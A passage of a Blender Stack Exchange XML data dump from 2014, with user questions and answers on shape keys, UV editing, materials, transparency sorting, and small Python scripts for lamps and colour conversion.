  <row Id="10625" PostTypeId="1" AcceptedAnswerId="42151" CreationDate="2014-05-22T20:30:28.527" Score="5" ViewCount="3613" Body="&lt;p&gt;So, I need to show the same human body in a few different states (like &quot;smile&quot; and &quot;frown&quot;). Yay shapekeys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, when I link this object from the asset file to the rendering file, I have to make the mesh a local copy in order to change the &quot;weights&quot; of each shape key for each instance of the body that I want. I.e. one body using &quot;frown&quot; and another using &quot;smile&quot; would have to use different settings, and each have to be local (can't remain linked to the original mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, each body in my scene that needs to use one of the shapekeys has to be its own copy, it can't be an instance of the other bodies in the scene without them all sharing the same shapekey settings. I.e. &quot;frown&quot; and &quot;smile&quot; can't even share a mesh in the same file, without also sharing the amount of &quot;frown&quot; and &quot;smile&quot; that they use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem, because anytime I update the original mesh, none of the changes propagate to the other models (because they aren't linked anymore, they're local). So, I have to go relink, make them local, and set the shapekey values for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to happen is to link the same object multiple times, and set each one to use different shapkeys, that way I only have to update the single, original mesh, and all the rest get the updates. For example, if I want to change the shape of the arm, I want that change to be the same regardless of the shapekey, so I'd like to just make that change once. Right now, my options are to use separate objects instead of shapekeys (and hope that I can perfectly copy any changes between the separate objects), or to continue like I have been and reset all of the bodies anytime they need to get a change that I made to the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anyone know a way to make this simpler? Is this what proxies are for? Or is this just not doable in Blender?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes sense that shapekeys belong to the mesh, but it doesn't make sense (to me) that multiple instances of a mesh can't be using different shapekeys at the same time.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-11-26T11:30:53.857" Title="Can't change shapekey values on a linked mesh?" Tags="&lt;linked-data&gt;&lt;shape-keys&gt;&lt;instances&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostTypeId="1" AcceptedAnswerId="10628" CreationDate="2014-05-22T20:55:36.367" Score="5" ViewCount="4211" Body="&lt;p&gt;I was working on a project, trying to texture a castle.  Everything was working as intended, but then suddenly, the UV editor started acting up. My cursor became a circle, the only way I can select vertices is by using Select -&gt; Border select, and the hotkeys aren't working at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open another blender file, it works normally. Did I save the file with a wrong parameter or something? &lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2017-10-10T14:19:45.730" Title="Can't select vertices by right clicking in UV editor (2.7)" Tags="&lt;uv&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10628" PostTypeId="2" ParentId="10627" CreationDate="2014-05-22T21:15:23.197" Score="11" Body="&lt;p&gt;You probably have activated 'UV Sculpt'.&lt;br&gt;Disable it and you should be able to work normally again.&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/d74Rl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-22T21:15:23.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostTypeId="2" ParentId="10619" CreationDate="2014-05-22T22:07:47.727" Score="4" Body="&lt;p&gt;The problem is that you added rigid body physics to your spaceship. They conflict with the animation.&lt;br&gt;&#xA;To make the ship follow the curve either make your rigid body animated or remove rigid body physics alltogether.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IwNjw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &quot;Parent-&gt;Follow Path&quot; will only set the object's position. Your ship will not be rotated along the curve. The better solution is using a &quot;Follow Path&quot; constraint. To make the constraint work correctly, you will have to clear the ship's translation by selecting it and pressing [Alt+G]. Set the forward axis of the constraint to '-Y' to make the ship point into the correct direction. The rest of the settings should be OK.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B8Rt9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also edit the way the ship's upward direction is pointing by selecting the curve, going into edit mode and modifying the tilt of the curve's control points until their orientation suits you. Just select a control point and press [Ctrl+T]. By moving the mouse you can rotate the direction the curve interprets as 'Up'.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-22T22:07:47.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostTypeId="1" AcceptedAnswerId="10635" CreationDate="2014-05-22T22:46:15.210" Score="1" ViewCount="1918" Body="&lt;p&gt;I'm modeling our church sanctuary to assist in a lighting design and I am reusing a procedural wood material from the wood pews to kind of simulate the laminated beams that hold up the roof, but those beams are vertical, not horizontal like the pews.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried just adjusting rotation in the vector transforms, and I've tried switching the scaling to favor the z-axis rather than the x-axis.  Neither attempt has worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This procedural wood is courtesy of an old thread on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?296800-Free-Procedural-wood-with-Cycles-Blend-file-attached&amp;amp;highlight=rotate%20procedural&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists.org&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mReen.png&quot; alt=&quot;procedural wood&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The horizontally striped beam is the test beam (on the right, in the light)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jEo9l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-05-23T06:28:32.650" Title="How can you rotate a procedural material?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10631" PostTypeId="1" CreationDate="2014-05-22T23:14:10.393" Score="0" ViewCount="20" Body="&lt;p&gt;I made the following object. I use the Blender render engine and the basic configuration of the cube material is given bellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the top face of the cube is rendered rough, and I do not want this. Is it possible to make it appear as the front face, for instance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vincent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AOqGO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y13OS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3587" LastActivityDate="2014-05-22T23:14:10.393" Title="Unexpected roughness in the rendering of a flat surface with Blender render" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-05-22T23:57:45.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostTypeId="1" AcceptedAnswerId="10633" CreationDate="2014-05-23T02:02:39.560" Score="2" ViewCount="2133" Body="&lt;p&gt;I have been doing some work on a file in the default view, doing all of my work there, including some compositing. However, after I decided to do the modeling in the default view, and make the compositing view used for compositing, I went to go adjust my compositor setup, but all my compositor nodes are gone, and I can't add any - all the options are grayed out. It appears the composition setup is still being applied to the render, but I can't find the setup. What happened? Where are my compositor nodes?&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2016-03-15T22:57:32.343" Title="Compositor nodes missing" Tags="&lt;interface&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10633" PostTypeId="2" ParentId="10632" CreationDate="2014-05-23T02:53:53.623" Score="2" Body="&lt;p&gt;There is a second scene called &lt;code&gt;testlight&lt;/code&gt;, which has &lt;em&gt;Use nodes&lt;/em&gt; disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable nodes in &lt;code&gt;testlight&lt;/code&gt;, then the nodes will appear and work fine in the main scene.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this happens. I think it might be a bug, you might want to try reporting it (particularly if you can figure out how it got this way in the first place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re-disabling &lt;em&gt;use nodes&lt;/em&gt; in &lt;code&gt;testlight&lt;/code&gt; doesn't seem to disable nodes in the other scene again.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-23T03:00:28.770" LastActivityDate="2014-05-23T03:00:28.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10634" PostTypeId="1" AcceptedAnswerId="10641" CreationDate="2014-05-23T06:01:40.737" Score="7" ViewCount="1740" Body="&lt;p&gt;I've been trying to add some &quot;fringe&quot; to a coyote I've been modeling. I have the planes all where I want them, and made the original coyote one object, while the extra panels I'll be using for fringe are a separate object. Both objects have their own UV map and their own texture, the Fringe Object's texture having some transparency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I apply the Fringe Texture to the Fringe Object, however, the transparent sections don't work the way I expected them to. I wanted the transparent sections to reveal the texture beneath the fringe, but instead, they make the entire coyote transparent in those sections. Or they turn white. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sCGUZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't finished tweaking the texture in Photoshop yet, but I thought I should get this problem figured out before doing anything else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The tail has the fringe effect that I was going for on the rest of the body, but it is not part of the Fringe Object. The left side of the tail seems to work perfectly, but the right side of the tail has the same problem: the transparent parts of the texture make anything beneath it transparent as well, instead of just allowing the next layer of texture to show through. Ideally, I would have included all of these &quot;fringe&quot; panels while I was modeling in the first place, but decided to add them later after I'd already made a texture for the coyote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it will help, here is the file I'm working from: &#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29395&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/29395&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3503" LastActivityDate="2014-05-23T18:41:25.833" Title="How do I create a single object with two different texture and UV maps?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10635" PostTypeId="2" ParentId="10630" CreationDate="2014-05-23T06:28:32.650" Score="1" Body="&lt;p&gt;Following @gandalf3's suggestion above, I switched to having my values affect the texture, restarted all values from scale of 1 and rotation of 0, and then started playing with them until I got something that's sort of acceptable.  It really helped to partition my screen so the node editor was large but above it was the 3D View wherein I had isolated my beam (Numpad /) and had the 3D View set for &quot;Rendered view&quot; That allowed me to see the effect of my changes quite quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8haQ4.png&quot; alt=&quot;Node Tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Pbeq.png&quot; alt=&quot;Sample Beam using procedural wood&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-05-23T06:28:32.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10636" PostTypeId="2" ParentId="10625" CreationDate="2014-05-23T07:54:56.633" Score="3" Body="&lt;p&gt;You could use a combination of an armature and drivers. After you link in your object you make a proxy of the armature which allows you to pose the armature in the new file and still get updates from the source file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the shapekeys setup, create an armature and add a bone to be used as the controller. Go back to the object and in the shapekey list right click on the shapekey value you want to drive (or select the key and right click on the value underneath) and select Add Driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ab2rk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To define the driver you switch the graph editor to display drivers and show the properties sidebar by pressing &lt;kbd&gt;N&lt;/kbd&gt;. You may need to click the value name in the list for the driver details to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IUQsW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can choose the armature and the bone and have one of it's transform values used as the value for the shapekey value. In this example I am using the x location of a bone called DriveKey1 to control Key 1. Now as I move the bone along the x axis the shapekey is turned on/off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also chose Sum Values for the driver type. Scripted expression can give you more control but also can be disabled through blender's auto execution setting. Using Sum Values gets around this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the option to set custom bone shapes and use constraints to limit movement, it is rather easy to create a clear visual controller that you may have seen with some rigged characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutorials on rigging a face often show this technique when setting up mouth and eye controls.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-23T07:54:56.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10637" PostTypeId="2" ParentId="10583" CreationDate="2014-05-23T13:15:07.347" Score="1" Body="&lt;p&gt;The issue is that the shape keys aren't changing the original data. (they are non-distructive which is intentional).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in this case you want the curve after deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the curve as a mesh, however this will have the bezier splines bakes into vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Posting this as an answer since nobody else stepped in, but Ill have to check if the API has some way to accessed the deformed curve.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-05-23T13:15:07.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostTypeId="1" CreationDate="2014-05-23T14:36:54.317" Score="2" ViewCount="492" Body="&lt;p&gt;Using Blender 2.70a-r3 importing an X3D file does not really work as expected.&#xA;The groups are not imported and ElevationGrid is not imported, too.&#xA;Is there any way to get better import support with Blender?&lt;/p&gt;&#xA;" OwnerUserId="3387" LastActivityDate="2014-05-23T14:36:54.317" Title="import X3D/VRML" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10640" PostTypeId="1" AcceptedAnswerId="10659" CreationDate="2014-05-23T14:40:10.173" Score="2" ViewCount="6140" Body="&lt;p&gt;When I grab a parent with children assigned to it, only the parent moves. Also When I select multiple object and try to move them, only the active object (the yellow one) moves.&lt;br&gt;&#xA;I must have accidentally toggled something. So, what shortcut did I accidentally hit?&lt;/p&gt;&#xA;" OwnerUserId="3069" LastEditorUserId="2217" LastEditDate="2015-03-03T21:48:49.870" LastActivityDate="2016-10-16T21:08:17.220" Title="Child objects aren't moving with parent" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;selection-tools&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10641" PostTypeId="2" ParentId="10634" CreationDate="2014-05-23T15:28:39.477" Score="7" Body="&lt;p&gt;I found two problems with your model:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your fringe faces also exist on the coyote model, but there they do not have a transparent texture. This causes the white parts on the fringe. Remove the fringe faces from the coyote. The result should already look better:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7Pnw8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;There are still some faces with flipped UV coordinates, like the ones on the hind leg of the coyote, and the UV coordinates of the fringes unter its chest lie on a part of the texture without transparency, but these should be pretty easy to fix.&lt;/li&gt;&#xA;&lt;li&gt;This problem is actually not your fault, but just how graphics cards work. The sections of the coyote that became transparent are caused by the order in which the faces of your model are drawn. When a face is shaded (meaning when the color and lighting calculations are performed) the first thing the graphics card checks is the distance of the triangle to the camera at the current pixel. If there was already another triangle drawn at this pixel which was closer to the camera, the lighting calculations are skipped (see &lt;a href=&quot;http://en.wikipedia.org/wiki/Z-buffering#Z-culling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z-culling&lt;/a&gt;), because usually the old triangle would occlude the new one anyways.&lt;br&gt;&#xA;But if the old triangle actually was transparent at that pixel you will get the visual artifacts you can see in you model: The old triangle did not produce a color at the pixel since it was transparent and the new one is skipped. This is how you get the holes in your coyote.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only real solution to the second problem is rendering the triangle that is furthest away from the camera first, then the ones closer to the camera. If you want to use this model in the blender game engine you can make Blender do this sorting for you. Create a material for the coyote and give it your image as texture. Make sure the texture coordinates are set to UV and the texture affects the alpha channel of the material. Go to the material settings, enable transparency and set the alpha value to 0. Then activate alpha sorting. Do that for both the coyote body and the fringe.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DV9eR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA; You can also join both meshes (select both and press [Ctrl+J]) and just use different materials and UV coordinate sets for body and fringe.&lt;br&gt;&#xA;Since all these settings are a bit hard to explain without writing a full tutorial, here is the &lt;a href=&quot;http://www.pasteall.org/blend/29406&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;. Just have a look at the materials.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2014-05-23T18:41:25.833" LastActivityDate="2014-05-23T18:41:25.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10643" PostTypeId="1" CreationDate="2014-05-23T16:26:27.717" Score="15" ViewCount="9220" Body="&lt;p&gt;I have created a waving flag simulation by pinning a set of points, adding cloth physics, and setting up wind forcefields. The result is just fine when I render the scene except that I want the resulting png files to be a continuously looping animation. &#xA;The resulting animation is currently jumping when the loop transitions from the last frame to the first frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried exporting to lightwave format, importing it back in and inserting appropriate shapekeys to get an interpolation between the last and first frame, (as described &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-286007.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;), but it seems the export-import step messes up both the orientation and the basis for the shape keys.&#xA;I tried &lt;a href=&quot;http://blendersushi.blogspot.com.au/2012/02/pipeline-mdd-import-export-demo.html&quot; rel=&quot;noreferrer&quot;&gt;exporting-importing&lt;/a&gt; twice&#xA;and I also tried using a custom plug-in that &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?245783-Blender-MDD-Export-Import-Issue&quot; rel=&quot;noreferrer&quot;&gt;fixes the orientation issue&lt;/a&gt;, &#xA;but my shape keys at 1.0 value are always stretched out and rotated compared to the same shape key at 0.0. &#xA;The result is that after interpolation, the flag not only waves, but also rotates and stretches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking about trying one of the following routes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Somehow edit the necessary shapekeys at value 1.0 so that it matches the orientation and rotation at 0.0. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look into the export-orientation problem and see if I can fix it myself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to morph from last frame to first frame of the rendered result using some other tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What do you think is the easiest and best way to go to get a nice loop transition?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying sambler's suggestion using two modifiers with varying influence in the transition between last and first frame, the mesh seems to be rotated and scaled in the frames where the modifier influence is interpolated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnZvX.png&quot; alt=&quot;Good mesh&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Gskt9.png&quot; alt=&quot;Bad mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3594" LastEditorUserId="3594" LastEditDate="2014-05-26T18:34:08.037" LastActivityDate="2014-05-29T08:43:43.703" Title="How can I create a smooth looping animation for cloth simulation?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;cloth-simulation&gt;&lt;shape-keys&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10644" PostTypeId="1" CreationDate="2014-05-23T16:39:29.980" Score="0" ViewCount="1078" Body="&lt;p&gt;I wrote this simple python script for Blender 2.69, which creates a new operator. The operator is supposed to change the energy for four lamps in the scene (essentially switching them off and on again). However, while the script runs fine and creates the operator itself, when I select the operator, it has no effect on the lamps' energy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entire script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;def main(context):&#xA;    for ob in context.scene.objects:&#xA;        print(ob)&#xA;&#xA;&#xA;class LightsOperator(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;object.lights_operator&quot;&#xA;    bl_label = &quot;Headlight Operator&quot;&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    return context.active_object is not None&#xA;&#xA;def execute(self, context):&#xA;&#xA;    if bpy.data.objects['headlight1'].energy==0.0:&#xA;        bpy.data.objects['headlight1'].energy = 0.8&#xA;    else:&#xA;        bpy.data.objects['headlight1'].energy = 0.0&#xA;&#xA;&#xA;    if bpy.data.objects['headlight2'].energy==0.0:&#xA;        bpy.data.objects['headlight2'].energy = 0.8&#xA;    else:&#xA;        bpy.data.objects['headlight2'].energy = 0.0&#xA;&#xA;    if bpy.data.objects['headlight3'].energy==0.0:&#xA;        bpy.data.objects['headlight3'].energy = 0.8&#xA;    else:&#xA;        bpy.data.objects['headlight3'].energy = 0.0&#xA;&#xA;    if bpy.data.objects['headlight4'].energy==0.0:&#xA;        bpy.data.objects['headlight4'].energy = 0.8&#xA;    else:&#xA;        bpy.data.objects['headlight4'].energy = 0.0&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LightsOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LightsOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.lights_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3596" LastEditorUserId="1363" LastEditDate="2014-07-22T20:35:10.380" LastActivityDate="2014-07-22T20:35:10.380" Title="Custom operator to toggle lamp energy not working" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostTypeId="2" ParentId="10644" CreationDate="2014-05-23T17:16:26.047" Score="0" Body="&lt;p&gt;Objects in scripting (&lt;code&gt;bpy.data.objects&lt;/code&gt;) are not the same as the Objects you add with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every scene holds a list (&lt;code&gt;bpy_prop_collection&lt;/code&gt;) of objects. Now this is an abstract object that holds information that every object type (&lt;em&gt;Mesh, Lamp, Armature&lt;/em&gt;) share - like position in worldspace, modifiers, etc. Here was your error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of calling &lt;code&gt;bpy.data.objects[name].energy&lt;/code&gt;, the correct call is &lt;code&gt;bpy.data.objects[name].data.energy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an improved version of the script that acts on the currently selected object (as the &lt;code&gt;poll()&lt;/code&gt;-method suggests). Call it for every object by first setting &lt;code&gt;context.scene.objects.active&lt;/code&gt; and then calling the operator with &lt;code&gt;bpy.ops.object.lights_operator&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main(context):&#xA;    for ob in context.scene.objects:&#xA;        print(ob)&#xA;&#xA;class LightsOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Doc&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.lights_operator&quot;&#xA;    bl_label = &quot;Headlight Operator&quot;&#xA;&#xA;    # these two methods belong to the class, not global space&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        # can also use context.object instead of context.active_object&#xA;        return context.object is not None&#xA;&#xA;    def execute(self, context):&#xA;        # get the object&#xA;        obj = context.object&#xA;&#xA;        # check if it is a lamp&#xA;        if not obj.type == 'LAMP':&#xA;            return {'CANCELLED'}&#xA;&#xA;        # now this is an abstraction by Blender. Every scene&#xA;        # has objects. Those objects contain the data (mesh,&#xA;        # curve, and LAMPS). So to access the data of the&#xA;        # lamp we do&#xA;        lamp = obj.data&#xA;&#xA;        if lamp.energy == 0:&#xA;            lamp.energy = 0.8&#xA;        else:&#xA;            lamp.energy = 0&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(LightsOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(LightsOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.lights_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="1363" LastEditDate="2014-07-22T20:23:27.960" LastActivityDate="2014-07-22T20:23:27.960" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostTypeId="2" ParentId="10643" CreationDate="2014-05-23T21:27:14.853" Score="0" Body="&lt;p&gt;You could make the flag randomly sway in wind and then reverse it at the end to bring it back to the beginning. Make sure you don't just stop it then suddenly play it in reverse. Slow it down then slowly speed up in reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dan&lt;/p&gt;&#xA;" OwnerUserId="2809" LastActivityDate="2014-05-23T21:27:14.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostTypeId="1" AcceptedAnswerId="10705" CreationDate="2014-05-23T21:45:13.383" Score="9" ViewCount="1654" Body="&lt;p&gt;I have a picture of a room including the floor and I want it to look like there is, for example, a cube going through the floor. Is there a way to do this, maybe by making it go through a plane that is transparent to the photograph but not to the cube?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows how to do this, as I'm not very good at doing things from text, would you be able to explain with pictures or something? Is there is a tutorial for this sort of thing?&lt;/p&gt;&#xA;" OwnerUserId="2809" LastEditorUserId="599" LastEditDate="2014-06-10T22:31:42.643" LastActivityDate="2017-04-25T14:36:16.533" Title="Manually make it look like an object is going through the floor (of a real life photograph)" Tags="&lt;rendering&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostTypeId="1" AcceptedAnswerId="10652" CreationDate="2014-05-23T22:28:54.697" Score="3" ViewCount="2209" Body="&lt;p&gt;How send HSV value to color picker in Blender from Python console? &#xA;By default we can send only RGB :( &lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="12" LastEditDate="2014-05-24T01:17:27.237" LastActivityDate="2014-05-24T01:17:27.237" Title="How send HSV value to color picker?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10652" PostTypeId="2" ParentId="10651" CreationDate="2014-05-23T23:32:16.280" Score="7" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/mathutils.html#mathutils.Color&quot; rel=&quot;noreferrer&quot;&gt;mathutils.Color&lt;/a&gt; type to convert HSV to RGB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Color&#xA;&#xA;c = Color()&#xA;c.hsv = 0.0833, 0.4, 0.5&#xA;&#xA;print(c)&#xA;# roughly Color((0.5, 0.4, 0.3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to assign the color to a RGBA property (4 floats), you need to either do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.color = c.r, c.g, c.b, 1.0 # 1.0 is alpha&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or a bit ugly looking tuple concatenation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.color = c[:] + (1.0,)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, import the Python standard library module &lt;code&gt;colorsys&lt;/code&gt; and use its conversion functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import colorsys&#xA;&#xA;colorsys.hsv_to_rgb(0.0833, 0.4, 